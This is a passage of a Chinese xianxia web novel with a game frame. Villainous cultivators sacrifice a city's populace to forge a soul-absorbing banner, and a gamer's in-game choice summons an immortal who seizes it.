小道士很疑惑,脸庞还带着疑虑,完全不知道这到底是咋回事。 暗杀队的杀手们个个互相对视一眼,心想这便是护身法宝么?效果确实强悍,竟然能抵抗他们这么多人同时攻击? 到目前为止,他们的手腕还在震痛麻木。 刚想继续补刀,甚至打算将这小道士压制住,让对方不能动弹时,几乎瞬间,所有人的身躯均是一愣,而后数张无形的网从天而降,将他们先前动手的人全部兜住,网得严严实实。 和之前那人一样,这无形的网只要沾染上就像是扯不开,越收越紧,紧得人觉得五脏六腑都要错位。 突然遭此变故,暗杀队首领立即叫停了攻击,眼看无法控制这小道士,只能转为去武器库,将武器带走。 ——做不到悄无声息了,起码能拿多少就拿多少吧! 暗杀队首领先带头直奔武器库,等到大门敞开后,他这才脚步一拐,直奔最里面的火铳,震天雷而去。 其余人也是飞速跟上,如今正是需要赶时间,帮手很快便会赶来,他们要在对面来之前,尽量更多的带走一些武器,也好拿回去交差。 等到这些人各自抱着箱子,打算离开之际,暗杀队的首领察觉到了不对劲——等等,这感觉! 几乎不曾开口,他立马就被无形的网束缚起来,手中拿着的武器掉落一地,而后便是胸腔传来一阵闷痛。 该死的,这到底什么玩意,压得太紧了 不仅仅是他一人,所有人都被控制住,眼看手下全部被捕获,暗杀队的首领心头一跳。 这束缚的手法,本以为是护身法宝,但现在看来,他们判断失误,这并非只有攻击人才会触发,这里应当有一种他们无法理解的,更高级的触发规则。 眼下已经被捕获,对于杀手来说,任务失败就意味着生命走到了尽头。 几乎是毫不犹豫,当场所有人都打算咬破嘴里藏着的毒药。 心中闪过一丝对家人的担忧,但很快,这便不是他们作为杀手该想着的东西了,心中叹息一声。 不知道死后,像他们这样的人会不会会堕入十八层地狱? 平时杀孽太重。 本都想到这一层了,结果暗杀队首领突然察觉到不对劲等等,嘴巴里的毒药怎么还咬不破啊! 嚼嚼嚼——不是,以前口感有这么Q弹么? 虽说不至于一咬就破,但这玩意也不该总咬不破啊! 心中无比想吐槽,但这毒药今日和作对一样,死活也咬不破。 起初,他只是觉得自己带着的毒药可能是性质出现了改变,再侧头看看身旁的杀手们,个个鼓着腮帮子使劲嚼来嚼去,模样多了几分滑稽,暗杀队首领表情微微崩溃。 ——遇到鬼了?不然这为何每个人都这样? 对未来的迷茫和眼下疑惑几乎要压垮他,此刻他才看到先前那个小道士似乎正在用通讯符咒联络着救兵。 “对对对!人都在这!一个都没跑,还活着” 陆陆续续的对话声从小道士那边传来,暗杀队首领顿时对他怒目而视。 小道士也疑惑。 按道理,上一批杀手在被俘虏后,立马自裁了大概一半,这一批竟然个个都活着,实在让他理解不能。 小道士又添了两句:“可能不是一个队的吧,这队伍管理理念不太一样这群人都活着呢,估计是比较怕死吧。” 感觉到自己专业性和人格被侮辱的暗杀队首领和众杀手:??? 嘴巴里的毒药嚼得更用力了几分。 好小子,看着一副白面馒头的样,实际上里面是黑芝麻馅的? 又听完了对话,暗杀队首领顿觉有蹊跷。 合着是用这小子作为诱饵,给他们下套呢? 这会开口:“我不会放过你的。” 全程一脸懵的小道士:???首先,他没惹任何一个人,其次,这群人上来就给自己一刀,他也懵啊! 往旁边挪了挪,避免被这些人反控后,小道士没等太久,很快就等来了救援的人员。 将这批杀手全部押送到风仙县的地牢内后,与此同时,各处都传来类似的情况,很快,一批又一批的俘虏被送回地牢内。 因被押送来的时候是黑夜,他们不曾看到风仙县的全貌,只在头套后被摘掉后看到了地牢。 以及附近地牢内个个熟悉的脸庞。 均是陈京行此行派来的暗杀队队员。 这看起来像是大团聚了,大部分都被捕了? 暗杀队首领心想此地是邪乎,这会想动动,但依旧察觉到自己被无形的束缚束得很紧,浑身都开始泛着密密麻麻的酸痛。 等到互相通气后发现,他们都是被某种看不到的网束缚后被押送过来的。 这些人面色有愧——按照规定,杀手不应该被人活捉回来,应当以死明志才是。 但架不住那毒药不听使唤啊! 一来二去交谈一番,众杀手均像是找到了知音一样激动。 “不知为何,那毒药压根就咬不破!” “你也这样?” “对,不知为何,就像是不让我去死” “这莫非也是道士术法的一种?” “这也太夸张了,怎么还能有这么离谱的术法?” 说什么的都有,但眼下相比较于对死亡的恐惧,众人还是疑惑更多一些,毕竟干这行的时时刻刻把脑袋揣在裤腰带上,早就觉得死亡稀疏平常了。 但这怪事可不常有。 但如今被困在这地牢,还被束缚得死死的,压根没有逃脱的机会,只能等审讯的人过来看看有没有机会知晓更多了。 话说方知意在得知活捉了数个杀手后,立即想到应当是仙师动手了。 这些杀手个个训练有素,若非仙师出手庇护,想来此战绝对要折损一部分得力干将。 现在既有了仙师的庇护,应当命军队更迅速的推进才是。 当即,这道命令就被通讯道士传递给三位将领,而后这三人也知晓了仙师庇护一事。 很快他们便发现,仙师的庇护只作用于防偷袭这方面。 若是正常打仗的话和以前没什么区别。 但如今有了仙师的庇护,他们夜晚便能更放心几分,不至于会日夜绷紧神经,要知道上次陈京行派暗杀队暗杀他们军内的通讯道士和将领,在之后他们加强了巡逻频率,就怕在路上出意外。 但相应的,士兵们时刻处于高压状态,这对于日后作战并不友好。 如今少了一大难点,三位将领可算是能稍微允许部下放松一些。 因有仙师助力,推进速度加快了好几分。 且中途还活捉到了不少陈京行陆续派来的杀手们,这些杀手们被俘虏后暂且被关押到风仙县内的地牢,等待战后清算,看是否有投诚后再利用的价值。 明州,陈京行陷入困境。 ——怎会如此? 先前他派出自己最为精锐的暗杀队前去,本以为多多少少能带回来一些好消息,但事实却是这些队伍自出去后,个个像是遭遇不测,别说完成任务,就连一点信都没传递回来。 陈京行很是不解。 不说别的,这么多好手,就算是遇到强敌,也应当能跑出来几个回来传递情报才对。 如今个个没了踪影,排除集体叛变的情况,那便是对手已经强大到手下杀手们无法反抗的地步了。 在仔细推测何人才能造成这般影响力后,陈京行不自觉想到了那位神秘的存在。 那仙人可是又回来了?如今是出手了? 一时间,陈京行陷入更为困难的境地。 ——这本就是一条只能继续往前走的路,他如今不能后退,只能一路走下去,哪怕这条路是一条死路。 对于仙人的猜测他并未告知景旭宫迎风长老,毕竟说了对他没好处。 若是敌人可能打过,盟友会顾忌利害关系,若是敌人完全处于压制,盟友只会想明哲保身。 所以这事决不能让迎风知晓,只是陈京行多次描述对手很是奇诡,要他用最好的道具和符咒前来一战。 对于战后补偿,陈京行给得很大方,这点迎风没怀疑,还以为是因为他急了,所以才会着急出高价也要他帮忙,完全不知晓此刻陈京行已然是觉得希望不多,只想用高价哄骗着他尽力而已。 除了诓骗迎风等人,陈京行还去看了火铳的研究制作,在得到消息说这火铳无法复刻,就连子/弹也不能复刻后,陈京行难得气得头疼。 “废物!都是废物!” 暴怒后,原先负责研制火铳和子/弹的工匠纷纷被投入大牢。 倒是迎风找他,告诉他有一道具可用。 只是前提是要吸收数万生灵性命,之后便可塑造成一大杀器。 第288章 炼化道具 迎风说话神神秘秘的,陈京行在了解后,大概知晓此人图的是什么。 ——这道具确实霸道强悍,只是需要吸收数万人的性命,且在锻造完成后,这道具依旧会存在,相当于是迎风也平白无故多了一件强大法宝。 至于他先前为何不制造这法宝,主要也是因为需要的人数太多,若是偷摸杀百来号人,只要去一个偏远山村即可,反正如今交通,信息很不发达。 但数万人,这可是个大数字,无论怎么挪动人数,都会被人发觉。 虽说景旭宫名声也不好,但作为官方认定的道宫,不至于要求素质多好,但也不能处于道德洼地。 主要是这用数万人去锻造一法宝,说出去实在是为天地所不容。 据迎风所说,此等神器为人魂幡,等到制造完成后,既可以用来攻敌,也可以用来防御,绝对是一能挽救局势的法宝。 其实迎风还有一点没说,此物若是炼化成功后,日后这人魂幡便可作为护主法宝存在,日后他的安危自然是再也不必发愁,只需这人魂幡保护他即可。 当初他拿到这制造人魂幡的材料却不曾动手,主要是因为没有那个先决条件。 但如今既然开始打仗了,那便是他天然的机会——打仗死个几万人很寻常,且人魂幡的炼化条件便需要战争带来的煞气。 且这样做足够隐蔽,保准其余的长老也意识不到他做了什么。 这人魂幡若是真炼制成功,左右不过是帮陈京行打赢了就行,但等战役结束后,他不仅仅有神器护身,还更有陈京行答应的各种财宝作为助力,这事对于他来说,简直是纯赚。 而陈京行自然知晓这迎风没有将所有的信息全部告诉他,但无所谓—— 无论用什么办法,他都要护住自己的地位,都要想方设法将那风仙县按死才是。 虽说一下损失几万劳动力让他有些心疼,但换句话说,若是不有所牺牲,他只会从高处跌落,再也不复今日辉煌。 既然如今有机会能转败为胜,陈京行从来都不是个愿意乖乖等死的人,此刻立即答应了迎风。 本想着这吸收生灵性命私底下就能吸收,但迎风却摇头。 “陈总督有所不知啊,这人魂幡不仅仅需要生灵的性命,它更需要生灵临死前的那股怨气,且炼化时还需要足够的煞气。 按照我的看法,私以为陈总督应当将百姓,亦或是准备用来炼化的人赶过去围观战役。 战役代表着煞气,而怨气,等到他们知晓自己被骗后要被己方炼化时,那一刻的怨气足以顺利炼制人魂幡。 不过至于到底要不要这么做,还是全看陈总督。” 陈京行心里暗骂此人老油条。 但也是被逼得没了办法——总归是死道友不死贫道,他稍微一琢磨,脑内便知晓该如何做了。 “只是迎风长老能确保这炼制万无一失?” 他得确认一番,若是概率太低的话,就要再考虑一番。 迎风得意洋洋:“若陈总督按照我说的去做,这炼化的成功率大约在九成。” 九成——一个足以看作是百分百成功的高概率。 且眼下陈京行并没有什么更好的办法,只能将希望寄托于人魂幡能够反杀对方。 很快,计划开始紧锣密鼓的展开。 而风仙县的三支队伍也逐渐察觉到了不对劲。 伍六是最先察觉到不对劲的。 他们这三支队伍一路高歌猛进,陈京行的队伍连连败退,且暗杀队几乎也被全部逮捕起来,送到了风仙县的地牢里。 如今只需要将最后这座城池攻下来,活捉那陈京行,便可顺利将整个明州探入囊中。 但就是这最后一步,他察觉到了这云城不对劲。 云城是陈京行的都城,也是明州最为繁华的存在。 这云城多多少少得有二十万人口,在如今天灾不断的情况下,属实算得上最大的都城。 虽说整个明州都是陈京行一家独大,普通百姓没什么话语权,但有钱的在哪里都能活得不错。 最近这些人——无论有钱没钱,几乎全部被陈京行骗着去了城墙上围观战役。 美其名曰之前只是诱骗敌军,如今这一战自然要打回去,还得是恶狠狠的打回去才是,如今让他们前来,也是为了鼓舞城内百姓士气。 半威逼半利诱再加上道德绑架,很快,这些人迷迷糊糊便被骗了过去。 而伍六发现的异常便是如此。 ——奇怪,这都要打最后一场了,这陈京行到底在搞什么鬼? 不琢磨将心思放在打仗上,搞出这动静到底是欲意为何? 他在发现那城墙上有不少平民百姓后,自然是将此诡异情景告知吴将领。 这事稀罕,至少吴将领不曾在过往听过有人这番操作的。 想不通的事那便要上报,很快,这消息通过通讯道士迅速传达到了风仙县的方大人手上。 而方知意在得知这一消息后,陷入沉思。 ——按照陈京行不要脸程度来看,此人绝不会乖乖束手就擒。 先前她早就派慎刑司的人紧紧盯着陈京行,就是怕战败后此人跑路。 倒不是怕他日后会借机报复,主要是任由这样一条心怀不轨的毒蛇隐藏起来,日后难免会担心被此人猛不伶仃咬一口。 就算不至于致命,也足以恶心人。 但从慎刑司派出去的人回报的消息来看,暂且没发现异常。 事实上,那日迎风和陈京行二人的聊天被迎风用遮蔽符咒隐匿了过去,迎风此人谨慎,无论何时都会用隐蔽符咒隐蔽交谈行踪,所以慎刑司的人才没能知晓二人曾私底下会面谈论过制作人魂幡一事。 但这事蹊跷得很,不可能会有人在这么要紧的关头做这些无意义的事。 尤其是陈京行这种以利益为导向的人更不会白费工夫。 要么是他打算以普通百姓的命作为要挟,要么便是心存别的念头。 再一分析,陈京行对于风仙县的看法应当是负面偏多,所以十有八九不会对她们的队伍有善意的考量,也不会认为她们会为了普通百姓的生命停下进攻,那便是此人另有所图。 方知意蹙眉,脑内灵光一闪。 之前慎刑司汇报上来的消息说景旭宫有一队帮手过去,想来今日这诡异一事便和那景旭宫来的人有关。 而最了解景旭宫的莫过于死对头永道宫。 几乎没有犹豫,立即命通讯道士联络上永道宫的仇师祖,等到仇师祖听清楚描述后,先是微微一愣,而后思绪纷纷。 ——这的确奇怪。 逼着那些百姓去看打仗,到底意欲为何? 匆匆翻阅古书,仇师祖的目光很快便黏在一则早就失传的道具上。 人魂幡。 以数万生魂炼制而成,以煞气和怨气雕刻出来的一道具。 只是这道具早就失传,难不成那所谓的景旭宫救兵手里握着制作人魂幡的方法和材料? 但这都上古时代流传下来的道具,能有这么巧流传到对方手里? 仇师祖蹙眉,将这消息暂时告知方知意。 方知意沉默几分,而后让他继续说。 仇师祖叹气道:“这人魂幡是有违天地的存在,绝对属于邪修所属,若是那人真想炼制此物,可想而知,他们是打算靠着这道具扭转败局。 但无论如何,我会立即带队前去阻碍对方制作人魂幡。” 方知意自然点头,这人魂幡所需生魂甚多,日后若真被敌人做出来,十有八九会对她们队伍造成沉重打击,必须要阻止对方! 永道宫立即行动起来,这一次去的几乎都是老手,毕竟这一战肯定是个大麻烦,带新手过去无异于送死。 赶路时,仇师祖面色不变,但心里担心得紧——敌人既然都已经开始明面上将那些百姓聚集起来,是不是说明私底下他们已经将所需要的材料全部准备好了? 要知道制作古老道具所需要的材料不好找,且越是效果强大,所需的材料无论是数量还是珍稀度都直线上升。 若是对方反应这么迅速,那便只有一点可以解释。 这景旭宫派来的救兵,早在很早之前就开始默默准备材料,很可能对方只是苦苦等一个机会。 若是先前还不太敢确定那人制作的便是人魂幡,但现在,仇师祖脑内电光火石闪现过一则大胆猜测。 苦苦等一个机会只有战争才能带来的机会战争会带来的只有死亡和伤痛。 那便对了,人魂幡的诞生条件便是如此。 仇师祖面色不由凝重。 这古书上对于人魂幡的记载可谓是十分可怖。 “人魂幡招展处,生魂尽摄,活骸成傀儡,万魂哀嚎凝作阴煞,触之神魂俱灭。” 怪不得对方将这人魂幡视为救命稻草,若是让他真炼化成功,到时候道士会神魂俱灭,而普通人则会被吸干净魂魄,至于死去的躯体可被操控为傀儡作战。 这计策可太阴毒了! 为阻碍对方,仇师祖此行特意将宫内法宝悉数带上,但面对上古神器,他其实心里也没底。 ——若是对方还没开始还好说,但若是已到了那无可避免,无法阻碍时可该如何是好? 云城。 迎风喜得几乎发狂,只是暂且还能将得意的表情压制住。 比想象中顺利,他已经将手下分散开来,隐蔽躲起来,如今两军正在交战,煞气足够,他可以催动阵法,开始炼制了。 这阵法复杂得很,也多亏他以往研究许久,如今轻车熟路,催动法阵。 庞大的法阵开始无声的运转,前期像是什么事都没有发生一样,沉寂无声。 等到仇师祖一行人紧赶慢赶来到时,便发现这阵法已经全面催动,无力回天! 与此同时,游戏弹跳出一硕大的红色感叹号。 第289章 成了 游戏弹跳出来的时间赶得十分凑巧。 正好是姜定从厨房回来,还湿着手的状态。 眼看满屏红色警告,姜定心里“咯噔”一下。 第一反应是电脑过载了,中病毒什么的。 完了完了之前就一直觉得电脑不知道能不能带动游戏,眼下不会是彻底报废了吧? 但等看清楚是游戏里的提醒后,原先紧张的心情顿时缓解了好几分。 “什么玩意,吓死我了,还以为电脑报废了,不能用了” 边自言自语,姜定边看向屏幕。 一行硕大的字几乎占据了整个界面。 【请查看战事进程。】 姜定忙擦干手,去按照游戏指引去点击所谓的战事进程。 只见大地图上,一处标记着两柄刀互砍的小标记正在放大又缩小。 应当就是这玩意了。 姜定点进去后,便发现旁边有个血红的,像是旗帜一样的东西正在逐渐膨胀。 这东西没有提示,只是自顾自的膨胀着。 好奇心重的姜定自然选择让主控捡起来查看。 等到选择点击的瞬间,一行提示蹦跶了出来。 【检测到您已拾取金色品质道具“人魂幡”,你的选择是?】 【A.笑纳人魂幡,将此物装备后好增强自身实力。(注:本物品一经绑定,不可售卖,赠予,除非拥有者死亡后掉落)】 【B.原地放回人魂幡,假装这事没有发生。(捡起来又放下,一个漫不经心的下蹲又起立。)】 【C.就地销毁人魂幡(注:需检测关键人物和对应数值是否足够。)】 姜定陷入沉思。 呃别的不说,总感觉B选项恶意满满啊,选择这个选项看起来好像十分废物啊! 挪了挪眼神,姜定看向A选项。 虽说这所谓的人魂幡是个金色品质道具,但一旦加上括号里的绑定操作,始终有种让他感觉上了贼船的操作。 ——总之一般在升级网游小说里,这种绑定本人,只有死亡才掉落的,要么是神级装备,要么就是天坑装备。 神级装备哪有那么好找? 至少不可能在大地图上随便找到。 一般神级装备都有一大堆的前置条件,而后又需要N种珍奇材料才能锻造出来。 或者就是每次辛辛苦苦做完任务,拿到的是什么神级残片,需要合成等等很麻烦的操作。 但这天坑装备就不一样了,说不定这玩意就是从上一个倒霉鬼死后自爆在原地的,这就等着下一个倒霉鬼过来拾取后绑定。 不得不说这份猜测很完美,姜定都要被自己的聪明才智感动了。 这看来看去,只能选择C选项了。 但这括号里的限制条件他不知道能不能检测通过啊话说,如果C选项检测不过的话,他下一步会不会是在剩余两个选项里二选一? 不管怎么说,还是先选择C选项看看能不能捡漏吧 姜定很快选择了C选项,而后游戏立马弹跳出正在检测的提醒。 【检测到关键人物已存在检测到名气,民心,威信属性值通过,检测到前置事件已引入】 【恭喜您,检测合格,C选项即刻生效。】 姜定一喜——这个卡数值的选项一般来说肯定是最好的,但相对来说,也是要求最严格的。 他只是凑合着试一下,倒是没想到竟然还能成功,这可真是捡漏了! 很快,这选项化作金光钻入屏幕,而后一卷画卷徐徐展开,姜定微愣,眉头微蹙 这就进剧情了啊?! 怪不得屏幕报红了,原来最主要目的是告诉他得看剧情了。 倒也能理解,毕竟此游戏公司的CG确实做得牛得很。 东西做得牛了后,游戏公司肯定也想让用户注意到自己花了大价钱的地方。 ——很合理。 姜定眉头再度舒展开来,开始盯着电脑看。 这游戏的CG剧情做得甚是精美,他还有些好奇,想看看这次能集齐什么CG。 除了集齐CG,姜定也在暗戳戳期待,毕竟每次游戏公司做的CG实在是太精细了,太真实了,他每次看到都会感慨这渲染得也太牛了,真实得让人浑身战栗。 而与此同时,仇师祖早就急得说话都不利索了。 没想到早赶慢赶,却还是来迟了一步,等到他们来到后,催动人魂幡的阵法已经开启,且云城上方不断有阵阵道法溢出。 起初十分微弱,但越往后,这股难以言说的寂寥感便像是跗骨之蛆一样钻了出来,黏腻的覆盖在在场每一个人身上。 除了这氛围变化外,最主要的,肉眼可直接观测到的变化就是天色阴了。 原先天还算好,但现在天色昏沉,像是下一秒就要下雨一样。 那些城楼上的百姓们也不复先前那副懵懂模样,眼看天气不好,想回家将自家衣服,亦或是晾晒在院子里的粮食给收回去。 一时间,人群便有些骚动,大都是想先回去收拾家里的普通百姓。 像是那些不忙着收拾家,完全自由的大户们,则是盯着城墙下的战场,看得热血沸腾。 ——他们说实话是最淡定的那一批人,毕竟这战斗输了或者赢了,对于本地大户来说,不过是要耗费一些银两息事宁人,一般情况下,就算这些人打进来了,大多数时候也只是需要他们这些大户给进贡一番,而非是杀死他们,不然一个新政权该如何顺利建立? 做什么都要花钱啊! 因陈京行先前关闭了城墙出口,所以城内的人几乎都被困在城内,无一人能出去。 大环境如此,逃跑是不可能逃跑了,只能看这场战役到底谁能赢下来了。 看着两军交战,云城军队处于劣势,一开始,众人的心都凉了半截——这这看着不像是能打过啊? 但很快,又想到了陈京行说过的话。 假意诱骗对方,等到时机成熟,便是他们反杀对面的时刻。 众人屏气凝息,焦灼的看着城外交战。 眼看自家军队被打得节节败退,大伙心情都说不上多美丽。 人是一种很犯懒的生物,虽说陈京行此人不是个合格的领导者,但总归大伙呆了许久,在这云城也呆习惯了,像是一株株顽强的野草,拼命钻营着如何扎根,现如今好不容易扎下根活着,却要有人过来连草皮带土壤一并铲除。 野草们恐惧害怕——新铺设的土壤到底能不能生存,适不适合他们生存?若是和原土壤一致,他们先前扎下去的根也算是废了,若是不如原先的土壤,只会让日后的求生更艰难而已。 所以扪心自问,如今云城大部分人还是不愿意陈京行落败。 至于那新铺设的土壤会是肥沃的好土,他们是压根不敢想。 如今普天之下,这样美好的东西根本不存在,无非是烂和更烂。 旧的政权和新的政权,严格算下来就是在比烂。 也是陈京行此人凶名在外,商户们不敢过来冒险做生意,所以当初无论是戏曲亦或是画本子,亦或是别的有趣玩意,大多均不曾流传到他旗下来。 大部分百姓压根不知道外界多了个桃源地风仙县,也压根不知道多了个庇护众生的仙人。 这才造成这般误会。 迎风此刻正掐着最后的诀,这是最后一步,要小心,决不能功亏一篑。 将手上动作放轻,再放轻后,迎风只觉得脑门上都开始渗出薄薄的一层汗。 因制作人魂幡需要的修为足够高,如今处于各个阵法内部的均是他手下的得意弟子。 这些人往日便享有超高待遇,修炼资源没缺过,当然,这些人也都是修炼的好苗子。 当初培养这些弟子一来是为了拉拢人心,二来是为了日后有机会制作人魂幡。 人魂幡这样的神器在他手里握了许久,现在总算是能问世了! 为提升炼制成功的概率,在进入阵眼前,迎风特意拿出先前他在暗巷里收购到的几瓶“韵律丹”。 此丹可强行提升修炼的境界,让修行者能够短暂拥有超出本身能力的修为。 无论是遭遇强敌,或者是需要炼制更为强大的法宝,这“韵律丹”可谓是无比珍贵。 不过坏处就是这东西很难弄到,若不是为了人魂幡,迎风不可能花费大价格给手下弟子一人配置一瓶。 想起一人一瓶,迎风眼内闪过肉痛——太贵了,这些东西花了他近乎五分之一的金库内存。 但想想人魂幡的逆天功效,迎风又觉得这番消耗不算什么。 等到顺利炼制出人魂幡,这一切消耗都是值得的! 眼看进入最为关键的最后炼制步骤,迎风立即睁开眼睛,用联络符传音。 “再吃一颗,之后用尽全力,我等将这最后一步推上去。” ——马上要成了!得稳住! 迎风咽下那丹药,顿时觉得体内滞缓的灵气变得微微狂躁起来,随之而来的是一股比先前更为磅礴的灵气输出,这酣畅的感觉甚至让他有些沉迷。 这便是破开禁锢的感觉? 要知道自从修炼《青梧引》后,他修为已经停滞了有三个多月了。 从一开始的畅快到如今的阻滞,他很不习惯。 如今看来还是这丹药管用,体内本来一潭死水的灵气,竟然久违的开始震颤翻滚。 迎风心想,若是今日运气好,是不是除了能够获得人魂幡,还能额外突破今日修为阻滞,好更上一层楼? 其实除了迎风有这错觉,其余弟子也有着错觉——他们虽说只是给长老做事,但这丹药可是自己实打实吃到肚子里的,或许今日可靠着这丹药突破往日限制 等到最后一股灵力运输出去后,人魂幡总算炼制而成。 此物飘扬着出现在整个云城上空,原先漆黑的天竟然染出了几分血腥。 迎风喜得发狂,双目猩红的抬头看向那不停翻滚,缓缓吸收生魂的人魂幡。 “哈哈哈!成了!本道成了!” 第290章 摧毁 和迎风的狂喜相反。 眼看着人魂幡凝聚而成,仇师祖异常焦灼——糟糕,紧赶慢赶还是没能赶上,眼看一切准备就绪,这人魂幡应当是要开始汲取生魂了。 这东西一旦开始只有吸够了魂魄才会停止,如今最要紧的不是打斗,而是立即将无辜将士散开才是。 仇师祖立即钻入战场,同时和数位弟子张开防护符,打算先将庇护慢慢打开,哪怕是拖延一会时间也好。 因人魂幡出现的确实很突然,城墙上的众人以及正处于战斗中的士卒们眼下才发现空中不知何时出现了一不断翻滚的旗帜。 且最为要命的是,这旗帜翻滚得甚是诡异,且模样猩红,看起来就像是象征着不祥。 不光是敌军在看,吴将领和伍六也在抬头看。 ——到底是何物? 但第六感却在叫嚣着要逃。 一种阴冷的感触逐渐弥漫在天地间,不少人顿时觉得浑身的热量正在逐渐奔向那旗帜,而后众人忍不住瑟瑟发抖。 太冷了,这分明是秋季,还不曾是深秋,为何突然会这么冷? 而仇师祖眼看周围人开始咬紧牙关,不停的颤抖,就知道人魂幡已经在吸食生魂了。 得快一些让大部队离开这里,不然的话,到时候想走可就走不了了! 好容易紧赶慢赶,仇师祖一把揪着吴将领和伍六,急得很。 “快下令让队伍撤退!那新出现的旗帜是上古邪修法器人魂幡,再呆下去所有人都得死!” 仇师祖眼内的急切不是假的,两人对视一眼,立马就知晓这事到底有多严重了。 随着下令,原先还处于优势的军队立即听命往后撤退,倒是让敌军很是不解。 “怎么回事?明明局势尚好,对方怎么撤退了?” “看!天上有一法宝!想来对面是被咱们的法宝逼退的!” 他们都知晓陈总督请了景旭宫的道士过来添把手,如今看到天上不断翻滚的旗帜心里激动。 虽说不知道这东西的作用,但既然能吓退敌军,应当很强悍才是! 不仅仅是士兵们内心欣喜,城墙上的百姓们也个个面露欢喜。 “依我看,应当一鼓作气,将对面打垮才是,反正咱们有那景旭宫道长作为靠山。” “是啊,这法宝应当挺强的,我现在还感觉浑身发冷呢!” “我也觉得浑身发冷,是不是这法宝能够像画本子里写的一样,可以让水一日结冰?” 人魂幡缓缓吸收着魂魄,不知情的只以为是法器本身便是这方面的。 谁都想不到人魂幡竟然是敌我不分的法宝。 这些人还在议论纷纷,而远处,迎风正冷笑。 ——果然是永道宫的人来了。 速度倒是快,先将那些风仙县的士卒们带走了,若非他需要呆在阵法内保证人魂幡彻底吸收完毕生魂,他必定要和那永道宫的人打个痛快。 感受着永道宫弟子们扔出来的护身符的波动,迎风冷哼一声,暂且将注意力从上面拿走。 他如今要关注的是人魂幡,等到人魂幡吸收了足够的生魂,他可随便玩弄着杀死对面。 因对方逐渐撤离出人魂幡的吸收范围,导致人魂幡短暂的暴躁了一番,而后它像是恼怒一样,加大力度,开始加快吸收着内部的生魂。 加快速度的后果便是身上无法诉说的冷意逐渐加重。 城墙上的百姓总算是察觉到了不对劲。 太冷了,这到底怎么回事? 几乎整个人像是被投入寒冬腊月的冰水下一样! 就算再傻,此刻众人也察觉到不对劲。 此刻人流涌动,纷纷想要逃离城墙,钻回自家去。 但本来他们就是牺牲品,如今人魂幡处于关键阶段,如何能被放走? 官兵们佩戴着防护符咒维持纪律,与此同时,那数位景旭宫的弟子则是催动符咒,将这些人死死困在城墙上。 这云城的官兵竟然不让他们离开,且除了官兵看守,还有不知名的存在隔离开他们。 众人一颗心坠入崖底,挣扎无果后,眼看着身边的人不断倒下。 这些人倒下时,手不自觉掐着自己脖颈,一副痛苦到极点的模样。 一看竟然有这么多人倒下,剩下的人更慌张了。 绝望,疑惑,恼怒,惊慌,恐惧,各种各样的负面情绪混杂一起,形成人魂幡最爱的味道。 百姓们哭喊着求饶想离开,现在不论身份,大伙公平的处于生死线上。 还有人则是焦急的搂着不再动弹的家人,喊着让对方醒来。 绝望弥漫。 迎风喜得很,再过一刻钟,他这人魂幡便算是吸收完毕了,到时候他就拿着这人魂幡,先将敌人吸干,然后再向陈京行交差即可。 虽说早就做好准备,但看到如今人间炼狱,仇师祖也是眼底透露出血丝,神色疲惫又担忧。 吴将领回头去看那副惨烈场景,下令让队伍撤离得更快一些。 而伍六则是咬着唇,下唇被咬得出血。 ——这些畜生,竟然这么不把人命当回事!为了一己私利,这些人到底要杀死多少人才能停歇? 仇师祖给马匹上贴上加速符,心里也是叹息,同时更要紧的是,他们必须要尽快离开,回去禀告仙师! 毕竟一开始谁也不知晓今日会这番惨烈! 而云城城墙上,以作为既定的牺牲者,这些人恨意滔天,又满是迷茫。 ——多可笑,临死前,竟然连个可以寄托念想的东西都没有,无论神佛,竟然一时半会脑内想不到任何可求助的对象,就连祈求祷告都不知道能涌入何处。 临倒在地面上时,他们不甘的仰望着,期盼着有意外出现,但都知道这不过是痴心妄想 死了便死了,死了会去哪儿?还是说灵魂会被拘禁在那翻滚的旗帜内? 魂魄飘出体外,他们只觉得浑身轻飘飘的,个个飞了起来,冲着那旗帜而去。 数万生魂像是被一股无形的吸力吸着要钻入旗帜内,虽说不知道那旗帜代表着什么,但所有生魂都本能的想挣脱离开,没有一人想被顺利吸收进去。 迎风是开了天眼的,将这数万生魂的挣扎看在眼里。 这会冷哼一声,用传音扩散开,催促这些生魂赶快识时务一些。 “进入人魂幡内神识尚在,若非要这般不识时务,之后我便叫你们神魂俱灭!” 威胁完后,迎风再次咽下一颗丹药,提升灵力后,催动着人魂幡,几乎瞬间,吸力又增加了一倍。 这些生魂绝望的嘶吼尖叫着,眼看数万生魂就这样要被吸入人魂幡,迎风激动得心头狂跳——成了,彻底成了!这吸收大法好啊!从此以后,他便是那个能彻底拥有上古神器人魂幡的唯一道士,日后他定要站在景旭宫的最顶端最 等等——那是什么! 迎风得意的表情还不曾切换,就看到一只手自虚空内兀自出现,将那不断翻滚膨胀的人魂幡一把攥在手心。 眼看即将有数万生魂在身旁等着它吞噬,人魂幡暴躁不已,身躯膨胀到极限,凶神恶煞想要挣脱出来人的手心。 不知为何,迎风的心突然剧烈跳动了一下。 ——不是激动,不是恼怒,而是一种未知的恐惧迅速席卷心头。 一种极为缥缈的,感觉自己身躯,连带着神魂即将要被碾碎的错觉迅速窜出,让他不自觉打了个冷颤。 就连催动阵法的思维和手都停顿了几秒。 那只如同玉瓷一样的手透露出几分气定神闲、不容反抗的意味,将那暴动的人魂幡死死捏在手心,容不得它动弹一分一毫。 而后虚空被另一只手撕开,一抹冷淡的青色袍角从虚空中飘荡而出。 沿着袍角往上看,来人一头乌发飞扬,一张足以让日月动摇的面庞出现在众人面前。 神态冰冷如冬日寒泉,背后金色的蛟龙正在不断地盘旋,将那份压迫感无形中又增强了几分。 迎风愣在原地。 连呼吸似乎都要被冻僵。 良久后,仿佛生锈的大脑才逐渐开始运转起来。 ——是谁?这到底是谁? 为何原先从不曾听说过有这号人物? 还是说因为人魂幡的问世,才导致这样未知存在苏醒? 这不知名的存在生得一副不像人的模样,又能徒手撕裂虚空,还能驾驭真龙,这莫非是上古时代就存在的仙人?亦或是修仙大能? 能活这么多年,这绝对是个难搞的老妖怪啊!也不知对方是正是邪? 对这人魂幡的态度是何? 短短几秒,迎风脑内却已经将此事全部思索一番。 若按照他的想法,自然应当试探一番,好歹应当分辨出敌我才对。 但这种感觉很难形容,他仅仅是站在对方面前,大脑每一秒都在尖叫着让他逃跑,但身体却不争气的不听使唤,僵硬在原地。 只有思维能够徒劳运转。 无论是畏惧逃跑,亦或是丑陋求饶,均无法作用于身体,只能在大脑内徒劳的一次次上演。 事实上,不仅仅是迎风呆愣着。 那些剩余的幸存者,迎风手下的弟子们,包括陈京行,包括先前撤离的仇师祖,吴将领,伍六以及己方的官兵都呆愣愣站在原地。 